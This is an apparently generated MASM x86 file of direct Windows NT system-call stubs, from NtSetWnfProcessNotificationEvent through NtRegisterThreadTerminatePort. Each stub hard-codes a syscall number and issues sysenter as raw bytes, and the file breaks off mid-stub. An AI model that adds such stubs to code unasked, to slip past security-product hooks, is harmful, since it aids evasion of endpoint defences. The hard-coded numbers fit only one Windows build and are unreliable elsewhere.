; ULONG __stdcall NtSetWnfProcessNotificationEvent( ULONG arg_01 );
NtSetWnfProcessNotificationEvent PROC STDCALL arg_01:DWORD
mov eax , 48
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtSetWnfProcessNotificationEvent ENDP
; ULONG __stdcall NtSetVolumeInformationFile( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 );
NtSetVolumeInformationFile PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD
mov eax , 49
call _label_sysenter
ret 20
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtSetVolumeInformationFile ENDP
; ULONG __stdcall NtSetValueKey( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 );
NtSetValueKey PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD
mov eax , 50
call _label_sysenter
ret 24
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtSetValueKey ENDP
; ULONG __stdcall NtSetUuidSeed( ULONG arg_01 );
NtSetUuidSeed PROC STDCALL arg_01:DWORD
mov eax , 51
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtSetUuidSeed ENDP
; ULONG __stdcall NtSetTimerResolution( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
NtSetTimerResolution PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 52
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtSetTimerResolution ENDP
; ULONG __stdcall NtSetTimerEx( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 );
NtSetTimerEx PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD
mov eax , 53
call _label_sysenter
ret 16
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtSetTimerEx ENDP
; ULONG __stdcall NtSetTimer( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 );
NtSetTimer PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD
mov eax , 54
call _label_sysenter
ret 28
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtSetTimer ENDP
; ULONG __stdcall NtSetThreadExecutionState( ULONG arg_01 , ULONG arg_02 );
NtSetThreadExecutionState PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 55
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtSetThreadExecutionState ENDP
; ULONG __stdcall NtSetSystemTime( ULONG arg_01 , ULONG arg_02 );
NtSetSystemTime PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 56
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtSetSystemTime ENDP
; ULONG __stdcall NtSetSystemPowerState( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
NtSetSystemPowerState PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 57
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtSetSystemPowerState ENDP
; ULONG __stdcall NtSetSystemInformation( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
NtSetSystemInformation PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 58
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtSetSystemInformation ENDP
; ULONG __stdcall NtSetSystemEnvironmentValueEx( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 );
NtSetSystemEnvironmentValueEx PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD
mov eax , 59
call _label_sysenter
ret 20
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtSetSystemEnvironmentValueEx ENDP
; ULONG __stdcall NtSetSystemEnvironmentValue( ULONG arg_01 , ULONG arg_02 );
NtSetSystemEnvironmentValue PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 60
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtSetSystemEnvironmentValue ENDP
; ULONG __stdcall NtSetSecurityObject( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
NtSetSecurityObject PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 61
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtSetSecurityObject ENDP
; ULONG __stdcall NtSetQuotaInformationFile( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 );
NtSetQuotaInformationFile PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD
mov eax , 62
call _label_sysenter
ret 16
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtSetQuotaInformationFile ENDP
; ULONG __stdcall NtSetLowWaitHighEventPair( ULONG arg_01 );
NtSetLowWaitHighEventPair PROC STDCALL arg_01:DWORD
mov eax , 63
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtSetLowWaitHighEventPair ENDP
; ULONG __stdcall NtSetLowEventPair( ULONG arg_01 );
NtSetLowEventPair PROC STDCALL arg_01:DWORD
mov eax , 64
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtSetLowEventPair ENDP
; ULONG __stdcall NtSetLdtEntries( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 );
NtSetLdtEntries PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD
mov eax , 65
call _label_sysenter
ret 24
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtSetLdtEntries ENDP
; ULONG __stdcall NtSetIRTimer( ULONG arg_01 , ULONG arg_02 );
NtSetIRTimer PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 66
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtSetIRTimer ENDP
; ULONG __stdcall NtSetTimer2( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 );
NtSetTimer2 PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD
mov eax , 67
call _label_sysenter
ret 16
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtSetTimer2 ENDP
; ULONG __stdcall NtCancelTimer2( ULONG arg_01 , ULONG arg_02 );
NtCancelTimer2 PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 68
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtCancelTimer2 ENDP
; ULONG __stdcall NtSetIoCompletionEx( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 );
NtSetIoCompletionEx PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD
mov eax , 69
call _label_sysenter
ret 24
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtSetIoCompletionEx ENDP
; ULONG __stdcall NtSetIoCompletion( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 );
NtSetIoCompletion PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD
mov eax , 70
call _label_sysenter
ret 20
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtSetIoCompletion ENDP
; ULONG __stdcall NtSetIntervalProfile( ULONG arg_01 , ULONG arg_02 );
NtSetIntervalProfile PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 71
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtSetIntervalProfile ENDP
; ULONG __stdcall NtSetInformationWorkerFactory( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 );
NtSetInformationWorkerFactory PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD
mov eax , 72
call _label_sysenter
ret 16
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtSetInformationWorkerFactory ENDP
; ULONG __stdcall NtSetInformationTransactionManager( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 );
NtSetInformationTransactionManager PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD
mov eax , 73
call _label_sysenter
ret 16
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtSetInformationTransactionManager ENDP
; ULONG __stdcall NtSetInformationTransaction( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 );
NtSetInformationTransaction PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD
mov eax , 74
call _label_sysenter
ret 16
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtSetInformationTransaction ENDP
; ULONG __stdcall NtSetInformationToken( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 );
NtSetInformationToken PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD
mov eax , 75
call _label_sysenter
ret 16
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtSetInformationToken ENDP
; ULONG __stdcall NtSetInformationThread( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 );
NtSetInformationThread PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD
mov eax , 76
call _label_sysenter
ret 16
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtSetInformationThread ENDP
; ULONG __stdcall NtSetInformationResourceManager( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 );
NtSetInformationResourceManager PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD
mov eax , 77
call _label_sysenter
ret 16
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtSetInformationResourceManager ENDP
; ULONG __stdcall NtSetInformationProcess( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 );
NtSetInformationProcess PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD
mov eax , 78
call _label_sysenter
ret 16
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtSetInformationProcess ENDP
; ULONG __stdcall NtSetInformationObject( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 );
NtSetInformationObject PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD
mov eax , 79
call _label_sysenter
ret 16
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtSetInformationObject ENDP
; ULONG __stdcall NtSetInformationKey( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 );
NtSetInformationKey PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD
mov eax , 80
call _label_sysenter
ret 16
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtSetInformationKey ENDP
; ULONG __stdcall NtSetInformationJobObject( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 );
NtSetInformationJobObject PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD
mov eax , 81
call _label_sysenter
ret 16
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtSetInformationJobObject ENDP
; ULONG __stdcall NtSetInformationFile( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 );
NtSetInformationFile PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD
mov eax , 82
call _label_sysenter
ret 20
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtSetInformationFile ENDP
; ULONG __stdcall NtSetInformationEnlistment( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 );
NtSetInformationEnlistment PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD
mov eax , 83
call _label_sysenter
ret 16
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtSetInformationEnlistment ENDP
; ULONG __stdcall NtSetInformationDebugObject( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 );
NtSetInformationDebugObject PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD
mov eax , 84
call _label_sysenter
ret 20
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtSetInformationDebugObject ENDP
; ULONG __stdcall NtSetHighWaitLowEventPair( ULONG arg_01 );
NtSetHighWaitLowEventPair PROC STDCALL arg_01:DWORD
mov eax , 85
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtSetHighWaitLowEventPair ENDP
; ULONG __stdcall NtSetHighEventPair( ULONG arg_01 );
NtSetHighEventPair PROC STDCALL arg_01:DWORD
mov eax , 86
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtSetHighEventPair ENDP
; ULONG __stdcall NtSetEventBoostPriority( ULONG arg_01 );
NtSetEventBoostPriority PROC STDCALL arg_01:DWORD
mov eax , 87
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtSetEventBoostPriority ENDP
; ULONG __stdcall NtSetEvent( ULONG arg_01 , ULONG arg_02 );
NtSetEvent PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 88
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtSetEvent ENDP
; ULONG __stdcall NtSetEaFile( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 );
NtSetEaFile PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD
mov eax , 89
call _label_sysenter
ret 16
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtSetEaFile ENDP
; ULONG __stdcall NtSetDriverEntryOrder( ULONG arg_01 , ULONG arg_02 );
NtSetDriverEntryOrder PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 90
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtSetDriverEntryOrder ENDP
; ULONG __stdcall NtSetDefaultUILanguage( ULONG arg_01 );
NtSetDefaultUILanguage PROC STDCALL arg_01:DWORD
mov eax , 91
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtSetDefaultUILanguage ENDP
; ULONG __stdcall NtSetDefaultLocale( ULONG arg_01 , ULONG arg_02 );
NtSetDefaultLocale PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 92
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtSetDefaultLocale ENDP
; ULONG __stdcall NtSetDefaultHardErrorPort( ULONG arg_01 );
NtSetDefaultHardErrorPort PROC STDCALL arg_01:DWORD
mov eax , 93
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtSetDefaultHardErrorPort ENDP
; ULONG __stdcall NtSetDebugFilterState( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
NtSetDebugFilterState PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 94
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtSetDebugFilterState ENDP
; ULONG __stdcall NtSetContextThread( ULONG arg_01 , ULONG arg_02 );
NtSetContextThread PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 95
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtSetContextThread ENDP
; ULONG __stdcall NtSetCachedSigningLevel2( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 );
NtSetCachedSigningLevel2 PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD
mov eax , 96
call _label_sysenter
ret 24
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtSetCachedSigningLevel2 ENDP
; ULONG __stdcall NtSetCachedSigningLevel( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 );
NtSetCachedSigningLevel PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD
mov eax , 97
call _label_sysenter
ret 20
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtSetCachedSigningLevel ENDP
; ULONG __stdcall NtSetBootOptions( ULONG arg_01 , ULONG arg_02 );
NtSetBootOptions PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 98
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtSetBootOptions ENDP
; ULONG __stdcall NtSetBootEntryOrder( ULONG arg_01 , ULONG arg_02 );
NtSetBootEntryOrder PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 99
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtSetBootEntryOrder ENDP
; ULONG __stdcall NtSerializeBoot( );
NtSerializeBoot PROC STDCALL
mov eax , 100
call _label_sysenter
ret
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtSerializeBoot ENDP
; ULONG __stdcall NtSecureConnectPort( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 , ULONG arg_09 );
NtSecureConnectPort PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD , arg_09:DWORD
mov eax , 101
call _label_sysenter
ret 36
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtSecureConnectPort ENDP
; ULONG __stdcall NtSaveMergedKeys( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
NtSaveMergedKeys PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 102
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtSaveMergedKeys ENDP
; ULONG __stdcall NtSaveKeyEx( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
NtSaveKeyEx PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 103
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtSaveKeyEx ENDP
; ULONG __stdcall NtSaveKey( ULONG arg_01 , ULONG arg_02 );
NtSaveKey PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 104
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtSaveKey ENDP
; ULONG __stdcall NtRollforwardTransactionManager( ULONG arg_01 , ULONG arg_02 );
NtRollforwardTransactionManager PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 105
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtRollforwardTransactionManager ENDP
; ULONG __stdcall NtRollbackTransaction( ULONG arg_01 , ULONG arg_02 );
NtRollbackTransaction PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 106
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtRollbackTransaction ENDP
; ULONG __stdcall NtRollbackEnlistment( ULONG arg_01 , ULONG arg_02 );
NtRollbackEnlistment PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 107
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtRollbackEnlistment ENDP
; ULONG __stdcall NtRollbackComplete( ULONG arg_01 , ULONG arg_02 );
NtRollbackComplete PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 108
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtRollbackComplete ENDP
; ULONG __stdcall NtRevertContainerImpersonation( );
NtRevertContainerImpersonation PROC STDCALL
mov eax , 109
call _label_sysenter
ret
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtRevertContainerImpersonation ENDP
; ULONG __stdcall NtResumeThread( ULONG arg_01 , ULONG arg_02 );
NtResumeThread PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 110
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtResumeThread ENDP
; ULONG __stdcall NtResumeProcess( ULONG arg_01 );
NtResumeProcess PROC STDCALL arg_01:DWORD
mov eax , 111
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtResumeProcess ENDP
; ULONG __stdcall NtRestoreKey( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
NtRestoreKey PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 112
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtRestoreKey ENDP
; ULONG __stdcall NtResetWriteWatch( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
NtResetWriteWatch PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 113
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtResetWriteWatch ENDP
; ULONG __stdcall NtResetEvent( ULONG arg_01 , ULONG arg_02 );
NtResetEvent PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 114
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtResetEvent ENDP
; ULONG __stdcall NtRequestWaitReplyPort( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
NtRequestWaitReplyPort PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 115
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtRequestWaitReplyPort ENDP
; ULONG __stdcall NtRequestPort( ULONG arg_01 , ULONG arg_02 );
NtRequestPort PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 116
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtRequestPort ENDP
; ULONG __stdcall NtReplyWaitReplyPort( ULONG arg_01 , ULONG arg_02 );
NtReplyWaitReplyPort PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 117
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtReplyWaitReplyPort ENDP
; ULONG __stdcall NtReplyWaitReceivePortEx( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 );
NtReplyWaitReceivePortEx PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD
mov eax , 118
call _label_sysenter
ret 20
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtReplyWaitReceivePortEx ENDP
; ULONG __stdcall NtReplyWaitReceivePort( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 );
NtReplyWaitReceivePort PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD
mov eax , 119
call _label_sysenter
ret 16
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtReplyWaitReceivePort ENDP
; ULONG __stdcall NtReplyPort( ULONG arg_01 , ULONG arg_02 );
NtReplyPort PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 120
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtReplyPort ENDP
; ULONG __stdcall NtReplacePartitionUnit( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
NtReplacePartitionUnit PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 121
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtReplacePartitionUnit ENDP
; ULONG __stdcall NtReplaceKey( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
NtReplaceKey PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 122
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtReplaceKey ENDP
; ULONG __stdcall NtRenameTransactionManager( ULONG arg_01 , ULONG arg_02 );
NtRenameTransactionManager PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 123
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtRenameTransactionManager ENDP
; ULONG __stdcall NtRenameKey( ULONG arg_01 , ULONG arg_02 );
NtRenameKey PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 124
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtRenameKey ENDP
; ULONG __stdcall NtRemoveProcessDebug( ULONG arg_01 , ULONG arg_02 );
NtRemoveProcessDebug PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 125
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtRemoveProcessDebug ENDP
; ULONG __stdcall NtRemoveIoCompletionEx( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 );
NtRemoveIoCompletionEx PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD
mov eax , 126
call _label_sysenter
ret 24
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtRemoveIoCompletionEx ENDP
; ULONG __stdcall NtRemoveIoCompletion( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 );
NtRemoveIoCompletion PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD
mov eax , 127
call _label_sysenter
ret 20
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtRemoveIoCompletion ENDP
; ULONG __stdcall NtReleaseWorkerFactoryWorker( ULONG arg_01 );
NtReleaseWorkerFactoryWorker PROC STDCALL arg_01:DWORD
mov eax , 128
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtReleaseWorkerFactoryWorker ENDP
; ULONG __stdcall NtReleaseSemaphore( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
NtReleaseSemaphore PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 129
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtReleaseSemaphore ENDP
; ULONG __stdcall NtReleaseMutant( ULONG arg_01 , ULONG arg_02 );
NtReleaseMutant PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 130
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtReleaseMutant ENDP
; ULONG __stdcall NtReleaseKeyedEvent( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 );
NtReleaseKeyedEvent PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD
mov eax , 131
call _label_sysenter
ret 16
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtReleaseKeyedEvent ENDP
; ULONG __stdcall NtRegisterThreadTerminatePort( ULONG arg_01 );
NtRegisterThreadTerminatePort PROC STDCALL arg_01:DWORD
mov eax , 132
